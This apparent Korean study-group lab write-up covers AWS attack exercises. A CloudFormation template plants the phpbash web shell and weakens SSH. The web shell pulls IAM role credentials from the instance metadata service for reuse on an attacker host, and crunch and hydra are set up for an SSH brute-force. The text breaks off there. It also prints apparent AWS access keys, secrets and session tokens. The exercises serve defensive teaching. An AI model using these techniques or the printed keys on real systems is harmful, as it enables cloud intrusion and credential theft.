AHSS-2주차 [AWS Hacking & Security Study 1기 Study]

* cloudNet@ 팀의 가시다 님이 진행하는 AWS Hacking & Security Study 스터디 입니다.

실습환경 구축

  • 실습 환경 : WebServer EC2 , Attacker EC2
  • AWS CloudFormation 스택 배포 – 링크 클릭 후 ‘IAM 리소스 생성 승인’ 체크 후 생성 ⇒ 배포 후 EC2 2대 각각 접속 (ec2-user)
# ahss-ec2_2ea.yaml : 파일 내용
Parameters:
  KeyName:
    Description: Name of an existing EC2 KeyPair to enable SSH access to the instances. Linked to AWS Parameter
    Type: AWS::EC2::KeyPair::KeyName
    ConstraintDescription: must be the name of an existing EC2 KeyPair.
  LatestAmiId:
    Description: (DO NOT CHANGE)
    Type: 'AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>'
    Default: '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2'
    AllowedValues:
      - /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2

Resources:
# IAM Role & Instance Profile
  IAMLabInstanceRole:
    Type: AWS::IAM::Role
    Properties:
      RoleName: IAMLabInstanceRole
      AssumeRolePolicyDocument:
        Version: 2012-10-17
        Statement:
          -
            Effect: Allow
            Principal:
              Service:
                - ec2.amazonaws.com
            Action:
              - sts:AssumeRole
      Path: /
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

  IAMRoleForInstanceProfile:
    Type: AWS::IAM::InstanceProfile
    Properties:
      InstanceProfileName: IAMLabRoleForInstances
      Path: /
      Roles:
        - !Ref IAMLabInstanceRole

# VPC
  MyVPC:
    Type: AWS::EC2::VPC
    Properties:
     CidrBlock: 10.0.0.0/16
     Tags:
        - Key: Name
          Value: My-VPC

  MyIGW:
    Type: AWS::EC2::InternetGateway
    Properties:
      Tags:
        - Key: Name
          Value: My-IGW

  MyIGWAttachment:
    Type: AWS::EC2::VPCGatewayAttachment
    Properties:
      InternetGatewayId: !Ref MyIGW
      VpcId: !Ref MyVPC

  MyPublicRT:
    Type: AWS::EC2::RouteTable
    Properties:
      VpcId: !Ref MyVPC
      Tags:
        - Key: Name
          Value: My-Public-RT

  DefaultPublicRoute:
    Type: AWS::EC2::Route
    DependsOn: MyIGWAttachment
    Properties:
      RouteTableId: !Ref MyPublicRT
      DestinationCidrBlock: 0.0.0.0/0
      GatewayId: !Ref MyIGW

  MyPublicSN:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref MyVPC
      AvailabilityZone: !Select [ 0, !GetAZs '' ]
      CidrBlock: 10.0.0.0/24
      Tags:
        - Key: Name
          Value: My-Public-SN

  MyPublicSN2:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref MyVPC
      AvailabilityZone: !Select [ 2, !GetAZs '' ]
      CidrBlock: 10.0.1.0/24
      Tags:
        - Key: Name
          Value: My-Public-SN-2

  MyPublicSNRouteTableAssociation:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref MyPublicRT
      SubnetId: !Ref MyPublicSN

  MyPublicSNRouteTableAssociation2:
    Type: AWS::EC2::SubnetRouteTableAssociation
    Properties:
      RouteTableId: !Ref MyPublicRT
      SubnetId: !Ref MyPublicSN2

  MySG:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupDescription: WEB Security Group
      VpcId: !Ref MyVPC
      Tags:
        - Key: Name
          Value: My-SG
      SecurityGroupIngress:
      - IpProtocol: tcp
        FromPort: '22'
        ToPort: '22'
        CidrIp: 0.0.0.0/0
      - IpProtocol: tcp
        FromPort: '80'
        ToPort: '80'
        CidrIp: 0.0.0.0/0


  MYEC2:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t2.micro
      ImageId: !Ref LatestAmiId
      IamInstanceProfile: IAMLabRoleForInstances
      KeyName: !Ref KeyName
      Tags:
        - Key: Name
          Value: WebServer
      NetworkInterfaces:
        - DeviceIndex: 0
          SubnetId: !Ref MyPublicSN
          GroupSet:
          - !Ref MySG
          AssociatePublicIpAddress: true
          PrivateIpAddress: 10.0.0.10
      BlockDeviceMappings:
        - DeviceName: /dev/xvda
          Ebs:
            VolumeType: gp3
            VolumeSize: 30
            DeleteOnTermination: true
      UserData:
        Fn::Base64:
          !Sub |
            #!/bin/bash
            hostnamectl --static set-hostname WebServer
            echo "sudo su -" >> /home/ec2-user/.bashrc

            # Change Timezone
            sed -i "s/UTC/Asia\/Seoul/g" /etc/sysconfig/clock
            ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime

            # Install Packages
            yum install -y httpd php tree git htop jq

            # Install httpd & WebShell
            systemctl start httpd && systemctl enable httpd
            curl -o /var/www/html/index.php https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php

            # Install aws cli v2
            curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
            unzip awscliv2.zip >/dev/null 2>&1
            sudo ./aws/install
            complete -C '/usr/local/bin/aws_completer' aws
            echo 'export AWS_PAGER=""' >>/etc/profile
            export AWS_DEFAULT_REGION=${AWS::Region}
            echo "export AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION" >> /etc/profile

            # Install Docker
            cat <<EOF | sudo tee /etc/sysctl.d/docker.conf
            net.bridge.bridge-nf-call-ip6tables = 1
            net.bridge.bridge-nf-call-iptables = 1
            EOF
            amazon-linux-extras install docker -y
            systemctl start docker && systemctl enable docker

            # Setting SSH
            sed -i "s/^PasswordAuthentication no/PasswordAuthentication yes/g" /etc/ssh/sshd_config
            sed -i "s/^#PermitRootLogin yes/PermitRootLogin yes/g" /etc/ssh/sshd_config
            systemctl restart sshd 

  MYEC22:
    Type: AWS::EC2::Instance
    Properties:
      InstanceType: t2.micro
      ImageId: !Ref LatestAmiId
      KeyName: !Ref KeyName
      Tags:
        - Key: Name
          Value: Attacker
      NetworkInterfaces:
        - DeviceIndex: 0
          SubnetId: !Ref MyPublicSN
          GroupSet:
          - !Ref MySG
          AssociatePublicIpAddress: true
          PrivateIpAddress: 10.0.0.20
      BlockDeviceMappings:
        - DeviceName: /dev/xvda
          Ebs:
            VolumeType: gp3
            VolumeSize: 30
            DeleteOnTermination: true
      UserData:
        Fn::Base64:
          !Sub |
            #!/bin/bash
            hostnamectl --static set-hostname Attacker
            echo "sudo su -" >> /home/ec2-user/.bashrc

            # Change Timezone
            sed -i "s/UTC/Asia\/Seoul/g" /etc/sysconfig/clock
            ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime

            # Install Packages
            yum install -y tree git htop jq nc lynx

            # Install aws cli v2
            curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
            unzip awscliv2.zip >/dev/null 2>&1
            sudo ./aws/install
            complete -C '/usr/local/bin/aws_completer' aws
            echo 'export AWS_PAGER=""' >>/etc/profile
            export AWS_DEFAULT_REGION=${AWS::Region}
            echo "export AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION" >> /etc/profile

            # Install Docker
            cat <<EOF | sudo tee /etc/sysctl.d/docker.conf
            net.bridge.bridge-nf-call-ip6tables = 1
            net.bridge.bridge-nf-call-iptables = 1
            EOF
            amazon-linux-extras install docker epel -y
            systemctl start docker && systemctl enable docker

            # Install Password
            yum install -y hydra gcc
            cd /root
            wget https://raw.githubusercontent.com/Mebus/cupp/master/cupp.py
            wget https://raw.githubusercontent.com/Mebus/cupp/master/cupp.cfg
            wget https://github.com/praetorian-inc/Hob0Rules/raw/master/wordlists/rockyou.txt.gz
            gzip -d rockyou.txt.gz
            wget https://sourceforge.net/projects/crunch-wordlist/files/latest/download
            tar -xvf download && rm -rf download && cd crunch-3.6/
            make && make install

Outputs:
  WebServerIP:
    Value: !GetAtt MYEC2.PublicIp
  AttackerIP:
    Value: !GetAtt MYEC22.PublicIp

1. 인스턴스 메타데이터와 IMDS(메타 데이터 서비스)

  • 인스턴스 메타데이터는 말 그대로 인스턴스에 대한 데이터입니다. 이 데이터를 사용해서 인스턴스를 구성하거나 관리 할 수 있고 사용자 데이터(user data)에도 액세스 할 수 있습니다.
  • 인스턴스를 시작하는 데 사용되는 AMI ID, 인스턴스와 연결된 IAM 역할의 정보, 인스턴스와 연결된 IAM 역할이 있는 경우 역할의 이름과 역할과 연결된 임시 보안 자격 증명도 메타데이터에 포함됩니다.

1.1 EC2 WebShell + IMDS 이용한 실습 (phpbash – 링크)

  • [WebServer EC2] Public IP로 웹 접속 (WebShell) → EC2 IMDS로 정보 획득
  • WebServer EC2 의 Public IP로 웹 접속 시 아래와 같이 WebShell 확인 확인 가능 및 여러 민감 정보 확인 가능합니다.
# 아래 정보를 통해 aws ec2 임을 확인
whoami
pwd
ls -al
cat /etc/passwd
uname -a
hostnamectl

# IMDS 정보 확인 : IAM Role 출력값 메모 >> Token은 무엇인가? 유효기간은 얼마인가?
ip route
# Amazon EC2 인스턴스의 메타데이터를 조회합니다.
curl -s http://169.254.169.254/latest/meta-data/
#사설 ip 조회
curl -s http://169.254.169.254/latest/meta-data/local-ipv4 ; echo
#공인 ip 조회
curl -s http://169.254.169.254/latest/meta-data/public-ipv4 ; echo

# 해당 EC2 인스턴스의 IAM 역할 메타데이터를 조회합니다.
curl -s http://169.254.169.254/latest/meta-data/iam/

# 해당 EC2 인스턴스의 IAM 보안 자격 증명을 조회합니다.
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 'IAMLabInstanceRole'라는 이름의 IAM 역할에 대한 보안 자격 증명을 조회하고, 줄바꿈을 추가합니다.
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole ; echo
{
"Code" : "Success",
"LastUpdated" : "2023-09-03T11:01:45Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5IJIR4BKWOCU",
"SecretAccessKey" : "nDhBh3vaqEvMO6YI3/yXTeJLDAZUoVipuH8n",
"Token" : "IQoJb3JpZ2luX2VjEFMaDmFwLW5vcnRoZWFzdC0yIkcwRQIhAPgaTW434NAF1krEaDeeH8Wuqtglf9SmHtaWYJqMYENmAiBGEEyGzcYo0C5yAlrZ8iqrgI0yINskYfS6bxHnQKeZyirIBQgsEAIaDDkxMTI4MzQ2NDc4NSIM6qYcg7kB/oONExNxKqUFklCMePSkGvsFGge9/vObUjFRQc4F9M2poOldy4w6CasPE+9xtVszseS0WW9UNiPXvMbra21iGXbTz7at5pLK6BelEFNsScWLM5sT/T3S5wWJtH5ekgkocWtRyaPTbBzRfczVY4h63kxkdn2a9KqHBMwkfNV+ffuCQuaYOMyrTMlNmV9LnsFRA8qjucElhIR+BRJQnAmUwyRUGflVPsTsYPr8u12y5ps+OahnQiuB8IgZ/RKMK77r3tN81/TrwRpuGlOwaCA9zF5f/TIeA+09YpCHNm5ZL3pA04s8DDFA+TbeeR1M36Ypl/No2kLqQAxBao6PhxxyPk/rQUH7r3W8BMWLe+RraT08+ryNMjBfljvBatzEpOyaZm1T9oxv8FBJXZSOkKzYBaKXutn44uGxkX9OErtQsZsw7KbJscxq1ec7odH11zcRjU6sr4tUxGImLL6mzV+mdZAnH4PlwtiU4xUdukuoGDSlc7/tKC2tJOYmtPSbKspLAsWBFBhfyPsdzdYDIbVOrY0WnXuYq8dvchuAl92ATjT8Y28s3b9Y/7YW9BjCHCK/Ic5jU4e8qkFvWZ+dAqVHLto+GRIz/JB1/6pie05ZjoCKPN6L/7SHmVWZasgfCGVSV2IgrS/CXfDXVjfagvtVctOVDWTgt/OEu17pnRmXgADSyIv32gFA9gSD3KEsDxEbryGbYdaHEBd4mjQZdCuknZXPcgHPbi9ADh0hagnvUkX1nvPPdCPGDEtqFaa6N4NR4YsPR1+OP8Gj3E6OrQfCdrzW2tTN3XdNsTLTJyI4zVQIqLZ5+Q3klFov+51vOZU1nzvIqcRYxXbk6DKLzmit3tetds7FpFpgHP5kCWkJevy7ETEYErlibuIEW9m0na8/InLs1UHe6mysrTJwww8/RpwY6sQGcuLgl+8b5VY+Ye2yi/XA+UbTXLC9BLx1X3t1AjN74Nm+28xNzI+V6QSRIstjD+Nr0x2DBB/UIQaIAZGmF+kIfz9d09OPTx8Ljci6AWxgEP5IExlEOYIGg0cx6CyRPiizlm+h7qjW25ZJnI5jnlnRjBam3+1qOkHufGzPZeKO6o3JQ1lj1i3k5P/4htsUr9ARd9d4MIQ0nCN0Bc5rDTRKwVuWHW755aMwDGjpiQwpnw2Q=",
"Expiration" : "2023-09-09T17:11:11Z"
}
  • [WebServer EC2] SSH 접속 후 확인 (Attacker 비교해봅니다.)
# IMDS 정보 확인
ip -c route
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole | jq

1. [Attacker EC2] Public IP SSH 접속 후 탈취한 자격 증명 사용

# 자격 증명 없이 사용
aws s3 ls
==
Unable to locate credentials. You can configure credentials by running "aws configure".
==

# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJIV56CCEH2"
export AWS_SECRET_ACCESS_KEY="NpvNZl5HKOTQLepywvi/XSkKRX07o5Nes8zCSfNL"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEE0aDmFwLW5vcnRoZWFzdC0yIkYwRAIgfMRCyA7zp+2hx0TNn/jpzYp1d/xI1LNTy1tuqN5cCqsCIAkRqD56euOygjxrxZ+HFJv3/lZqs9mW+McGocYoHymDKsgFCCYQAhoMOTExMjgzNDY0Nzg1IgzmyuEWw2RRhPgp1/sqpQWpU+oSVa40Itfx9oY0KHyWGEFgmaNjyqanDp1/+427cieuWAbHeIHnR+kOReFtt7QLzwMKsafCEYcPFOOSag4mlb1Yk5PP2GDz4wtlpz6zG4SOd6hvQLQSI3HGP59NzWUpadRi3V1sQFG9Vw45EUMj9Du2wnVc4sXIPXzexTtJM5tzYhbADmlF8A4X7usd1cm2bjICx42c6iojcvdj4MspaYqv8Xe0NzEOHXdBM3xMMru3pGn8BX4ZLzvj49tAGH70XjkT+yAB+lRFxFs4wD74i5gFwS99DlHAOG/vbWk8NEERAAsAwkcGGV8oWsGjsUt0O/FWxzKUKLfkR0/a5dSdYBG7Sxz3QdaYLhgEdM5nTPA3SMRiPARty+acesgjtkj8f8xsVlHmdo6UUs64Eg56xdidRDk+SVkUqaEhv+2dpEdbfG561Jyc9h+V4uqz0dIdIkINr1VxHhE/U2vBeXaY7hEqcUtPVs1eHFD0YajOveMgek9ERHSCymj0eEDQyM3EDQP7ACtq9CFSc4aeEBG5k9UV/I4lRcfSHK7+1mgpcaAVQYtIO47zkXfWiGXc0llGy2lW0JMQO/aIXyi2Sn5HfxtU5N7TBZ7o8uo1f0HdHSJPdcEpTqYmPv2rpUt323HsR2u9CwOHRz/oZh7Go9ipQwr1WgPw4t4w+CeIUBTFXvF+IsNaH76XOyBzV19w1WsHH6mvEHPCDJGFMCBXpeumQjJmDAdesKJ1PsC0ZbHQRmdzvh242E0BSVGZFowfAPBeef5pOEs5aVgJLXjNprnnB6NPqm37/eB9JInmcCw71wfbF9QuUBI0Of7Zrt91LE1LN12LYUjlokxLZ9R6zDS1vftP/BppxVxIdg4yjWFxOCPFHWnfgc/85N2x1BY9qB6/0tqJvTCnptCnBjqyAWUWPRdEbjMsc5F74Vy/ugRoilQKINf/FC9SxGSjF24CDBuTY+lYEtnblTy8C4yEZO4zq2csNv2nIf/skZb5LNYkwnqqTd1ULSXZ62Li2071M3uQunwZSQqsnWH1jcamaauBMvYHqbPMWNYgv3AzTCNv+OE09m2XY22aNEGKXuN2vX2gHJYg8Is8mDzmENsiU0IrsxDJtPYcgwTSQx0dy0GrgWsMhi2Td4L3BYae8apePO8="

# s3 정보 확인
aws s3 ls
==
2023-09-03 20:48:39 ahss-2w-sminho
==

# ec2 정보 확인 실패 => ec2에 대한 권한 없어서
aws ec2 describe-instances --region ap-northeast-2 | head
==
An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.
==

# caller id 확인 : UserId와 Arn 맨 뒤 정보는 어떤 인스턴스ID인가? => 웹서버 id
aws sts get-caller-identity | jq
{
  "UserId": "AROA5ILF2FJI34M6UJYV2:i-04e04ce01f4653321",
  "Account": "911283464785",
  "Arn": "arn:aws:sts::911283464785:assumed-role/IAMLabInstanceRole/i-0766d963ae591cc1a
}

2. AWS CloudTrail 에서 ‘사용자 이름’에 위 인스턴스ID 값 넣고 필터링 확인 → 각 이벤트 클릭하여 상세 정보 확인

  • 이벤트 기록 -> 리스트 버킷 -> 조회는 사용자 이름

true 확인 가능

그외 어카운트 및 여러 정보 확인 가능 하다.

아까 위에서 EC2 조회 실패 기록을 보자

실패 확인

해당 부분을 보완하기 위하여 EC2 -> 우클릭 -> 인스턴스 설정 -> 인스턴스 메타데이터 옵션 수정에서 IMDSv2 설정 및 메타데이터 서비스 활성화 여부 설정 가능

IAM User 활용한 실습

  • user1(WebServer) , user2(Attacker) 생성 후 권한 탈취 실습

1. [자신의 PC] or [CloudShell] 관리자 수준의 자격증명되어 있는 환경

# 자신의 AWS 계정 ID 변수 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
echo $ACCOUNT_ID

# 페이저 사용 비활성화(안하면 출력을 페이지 단위)
export AWS_PAGER=""
  • IAM User 생성 및 정책 연동
# user1 사용자 생성
aws iam create-user --user-name user1

# user2 사용자 생성
aws iam create-user --user-name user2

# user1 사용자의 AWS Web Console 로그인 profile 생성 - 링크
#이거 설정안하면 디폴트로 인해서 로그인이안된다

#정책파일 생성
cat <<EOF > create-login-profile-user1.json
{
    "UserName": "user1",
    "Password": "Ahss\$1234",
    "PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json

# user2 사용자의 AWS Web Console 로그인 profile 생성 
cat <<EOF > create-login-profile-user2.json
{
    "UserName": "user2",
    "Password": "Ahss\$1234",
    "PasswordResetRequired": false
}
EOF
cat create-login-profile-user2.json | jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user2.json


# iam 사용자 리스트 확인
aws iam list-users | jq

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name user1
{
    "AccessKey": {
        "UserName": "user1",
        "AccessKeyId": "AKIA5ILF2FJITUNS2S5S",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2023-09-03T06:21:17+00:00"
    }
}

aws iam create-access-key --user-name user2
{
    "AccessKey": {
        "UserName": "user2",
        "AccessKeyId": "AKIA5ILF2FJIR2IDM5VK",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2023-09-03T06:21:27+00:00"
    }
}

# 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2
  • [AWS 관리콘솔] IAM 에서 User 정보 확인 : 관리콘솔 접속 URL 확인

ㄴaws 콘솔에서도 이와 같이 확인 가능함

2. 크롬 확장 프로그램 MultiLogin 설치 후 클릭하면 신규 창에서 aws 관리콘솔 로그인 실습 진행

  • Chrome MultiLogin 확장프로그램 설치 – 링크
  • 각각의 IAM 계정 user1, user2 으로 AWS 웹 관리 콘솔 로그인 : 암호 Ahss$1234 ⇒ 로그인 후 서울 리전 선택
  • 각각 User1, User2 에서 서울 리전에 EC2 생성 시도 혹은 EC2 재부팅 시도

3. [Attacker EC2] AWS CLI에서 자격증명 설정 (장기 키 등록)

# 시도
aws s3 ls

# user1 자격증명 profile 생성 : 위 메모 복붙
aws configure --profile user1
AWS Access Key ID [None]: AKIA5ILF2FJITUNS2S5S
AWS Secret Access Key [None]: N8joouRZdBBuKdV1I0ICDi5SzjGn1Bc7SHOw
Default region name [None]: ap-northeast-2
Default output format [None]:

# user2 자격증명 profile 생성 : 위 메모 복붙
aws configure --profile user2
AWS Access Key ID [None]: AKIA5ILF2FJIR2IDM5VK
AWS Secret Access Key [None]: x/p+1LE9eDkYsbjYXoa7V49JtN5Siyoenqa
Default region name [None]: ap-northeast-2
Default output format [None]:

# 자격 증명 정보 저장되는 파일 확인
cat ~/.aws/credentials
  • 사용
# caller id 확인
aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq

# 자격증명 사용 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq

# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=sminho
#aws s3 mb s3://버킷(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME   --region ap-northeast-2 --profile user1
==
make_bucket: ahss-2w-sminho
==

aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2
==
make_bucket failed: s3://ahss-2w-sminho-2 An error occurred (AccessDenied) when calling the CreateBucket operation: Access Denied
==

# S3 버킷 조회
aws s3 ls --profile user2
==
2023-09-06 22:50:08 ahss-2w-sminho
==

IAM 임시자격증명 요청 및 사용 실습

  • 장기 증명이 아닌 임시자격증명을 이용한 실습

1. [자신의 PC] or [CloudShell] 관리자 수준의 자격증명되어 있는 환경

# user2 사용자에 인라인 정책을 추가 : STS(임시) 서비스의 AssumeRole Action 허용
cat <<EOF > allow-assume-role.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "allowassumerole",
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "*"
        }
    ]
}
EOF
cat allow-assume-role.json | jq
aws iam put-user-policy --user-name user2 --policy-name allow-assume-role --policy-document file://allow-assume-role.json
  • AmazonS3FullAccess 권한을 가진 IAM Role 생성
# 현재 사용자의 AWS 계정 ID를 조회하고 그 값을 `ACCOUNT_ID`라는 환경 변수에 저장합니다.
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
cat <<EOF > MyAccount-AssumeRole.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Principal": {
                "AWS": "$ACCOUNT_ID"
            },
            "Condition": {}
        }
    ]
}
EOF
cat MyAccount-AssumeRole.json | jq
aws iam create-role --role-name assume-role-s3full --assume-role-policy-document file://MyAccount-AssumeRole.json --max-session-duration 7200
{
    "Role": {
        "Path": "/",
        "RoleName": "assume-role-s3full",
        "RoleId": "AROAUAU5KS5MN5DIKVHNS",
        "Arn": "arn:aws:iam::2711..:role/assume-role-s3full",
        "CreateDate": "2023-09-06T14:09:06+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "sts:AssumeRole",
                    "Principal": {
                        "AWS": "276281595736"
                    },
                    "Condition": {}
                }
            ]
        }
    }
}

# assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용
aws iam attach-role-policy --role-name assume-role-s3full --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
  • IAM user2, iam role 정보 확인

ㄴ위와 같이 역할 및 권한생성 및 연결 하였으며 해당 역할을 부여 받으면 2시간동안 임시 권한 사용가능 하다.

2. [Attacker EC2] AssumeRole 을 통해 임시자격증명 요청 및 임시자격증명 실행 및 S3 접속 시도

# AssumeRole 을 통해 임시자격증명 발급
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
#aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name <각자 편한이름 지정> --query "Credentials.[AccessKeyId,SecretAccessKey,SessionToken]" --output text
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name MyS3accessSession --profile user2
{
    "Credentials": {
        "AccessKeyId": "ASIAUAU5KS5MAY4NYWP6",
        "SecretAccessKey": "7CV0YQgrSgKftIUSp7XuaORd2JL67UHEf6oiIVJo",
        "SessionToken": "IQoJb3JpZ2luX2VjEJ7//////////wEaDmFwLW5vcnRoZWFzdC0yIkgwRgIhAJoaYuqJjduwymZ1po/Z+56OTtmWaCbDtWPwop99ZxqFAiEA7YhWzc0WRICv2/x++nqu5gwwo3EYV/KDblriCsiqoS0qngIIdxAAGgwyNzYyODE1OTU3MzYiDMxzGbfbKrKcq8zb7yr7AY6MM9cX3jQ9SQ6PB3Kt95/jIh6wiswkbB2Zuvof9AnUpkYkFMbIgD3w0Ne/Ga3ZOEH0uwn/jO5HC1/GQOZ10VCXjb9mbIfXR6W9En1Gt4FF5T9ADlNLI2Sn3jHIEr8h1U9bkL7M77+ALlvY/jbuY1vSpnyfae0x9OqYasVzgHEQi+nZcyO78/Qzs6wNKCwqDeAgoAvK0MNTUx91ZyedGNhHhon3y9nE0GEZGOz9h0i35YwPsrPnOkEZbypCBA4K/PijywtwDxZmRzNc8JBOVqLVMtzv07w9WTZjfnr3Mdu95mYqUY7gaFaUVy1+L8/FkUeTRDI3RbDz9IoXMNWT4qcGOpwBoSFCVVu6mWhDTiBwufPT1MWN93960Khj3/w+dgg6fhgtUAyQJsDUNg3rS2NQB7b9BzFFaPKlaE9o20QQMdw6KNf/KRXszVvF4ypnrrYO1jnjTSDgw7jyWx7eZxRUZUc2wHfj3GNYFKwCfTf23ZPidASKUqc9CapKi3wtJh/A+apa7ufbCyNQpgwjvwUiU896KCC2ftoteSlvI0uv",
        "Expiration": "2023-09-06T15:16:53+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAUAU5KS5MN5DIKVHNS:MyS3accessSession",
        "Arn": "arn:aws:sts::27..:assumed-role/assume-role-s3full/MyS3accessSession"
    }
}

# 위에서 출력된 AccessKeyId , SecretAccessKey , SessionToken 으로 임시자격증명 적용
export AWS_ACCESS_KEY_ID="ASIA5ILF2FJI4JPGYCJ4"
export AWS_SECRET_ACCESS_KEY="VxLRnDNrgDFcsAWd+Kruqtdjr75Ej/OioApIIRHO"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0yIkcwRQIgZMrgq7zxDCTVY39s+COI/DhesFgol/XbmbocHkcBKqACIQD6JfI/2nru3xmOrrqF+iw7Fm9dIAK5hpnkCNRIzGt95CqeAggoEAIaDDkxMTI4MzQ2NDc4NSIMTSm0mTnWwl9tj2IVKvsBr4qP7ZZNg0YxcpFFmsECtxi9WTAQH6a3uyt6Lb5KTpN93gZgnr0LdqFl2ZTj6TBZ7Wdrj47uao0ZalxFK8ltGuBEQLUbNHfF432/GhYnLnmSt2GNwGLcEcrEAL6ILE8l9CsUFv4VKcEcE3OJ8f8K5r3xrR1Zp5dy8Vj2KCf92LS9MDP5YqXJUvYQaBloiIrKeBiov9ykwclJ3y+D0+g9p4DklE8kLNjcj28PopNAp1VM+Rilf/lpOTjWWi0VM1GQO+qEdivSBPWUtJlvq15mlA89DsPEDPM/2K4hI3lJUI59djTYJCfGAJj55srqA52sXPcTC6HWh9I60+AwodnQpwY6nQEk/pdlajJGV7SKkAzWAWylivc2POARHYa3VYoDlK8g7tvghxVSjOVOcwGsfYvPihxFTjuw1k/tYWepg+6sgE8BvaxbWbMj0QZPBqcv6S4sgShXq0P6njDU02y+ZtD0H8ZfS/eapd0lUfEbbXxzIbhmjGAwIM9ihsTD+EhaVTskaYnA//pFq8pem06MoXFWy69hYlLJswZYFOmOXlsh"

#확인
export

# caller id 확인
aws sts get-caller-identity | jq
==
{
  "UserId": "AROAUAU5KS5MN5DIKVHNS:MyS3accessSession",
  "Account": "2..",
	#임시 자격 확인
  "Arn": "arn:aws:sts::27..:assumed-role/assume-role-s3full/MyS3accessSession"
}
==

# S3 버킷 생성
NICKNAME=<각자 자신의 닉네임>
NICKNAME=gasida
#aws s3 mb s3://버킷(유일한 이름) --region ap-northeast-2
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2
==
make_bucket: ahss-2w-sminho-2
==

# S3 버킷 조회
aws s3 ls

# S3 버킷 삭제
aws s3 rb s3://ahss-2w-$NICKNAME
aws s3 rb s3://ahss-2w-$NICKNAME-2

# (참고) 임시자격증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

3. IAM Role 에서 ‘콘솔에서 역할 전환 링크’ 메모

4. [user2] 웹 세션 → 위 링크 복붙으로 역할 전환

  • 역할 전환 성공 후 S3 버킷 생성해보자! → 실습 완료 후 버킷 삭제 ⇒ 다시 전환으로 user2로 원복

계정 관련 취약점 실습

  • 암호 관련 정보 습득 : hydra – 링크 , Crunch – 링크 , rockyou – 링크 , Cupp – 링크
  • 위의 툴을 이용하여 실습합니다.

1. [WebServer EC2]

# 관리자 확인
whoami

# SSH 접속 로그 출력
more /var/log/secure
grep Invalid /var/log/secure
w

# root 계정의 암호 설정 - 취약한 암호이며 실습 후 바로 해당 EC2를 삭제 할 것
passwd
New password: 12qw
Retype new password: 12qw
...

# 실시간 로그 출력
tail -f /var/log/secure

2. [Attacker EC2]

# crunch tool 로 사전 파일 생성 - 참고링크 참고영상
cd /root/crunch-3.6

# 현재 디렉토리에서 crunch 프로그램을 실행하여,
# "1", "2", "q", "w" 네 가지 문자로 구성된 모든 가능한 4글자 조합을 만들고
# 그 결과를 "4chars.txt"라는 파일에 저장합니다.
./crunch 4 4 12qw -o 4chars.txt

# 사전 파일 확인, 256개의 암호 생성
more 4chars.txt
more 4chars.txt |wc -l
==
256
==

# Hydra tool 로 SSH Brute force attack 시도
hydra -h

# Hydra 도구를 사용하여,
# "root" 사용자 이름과 "4chars.txt" 파일에 있는 패스워드들로
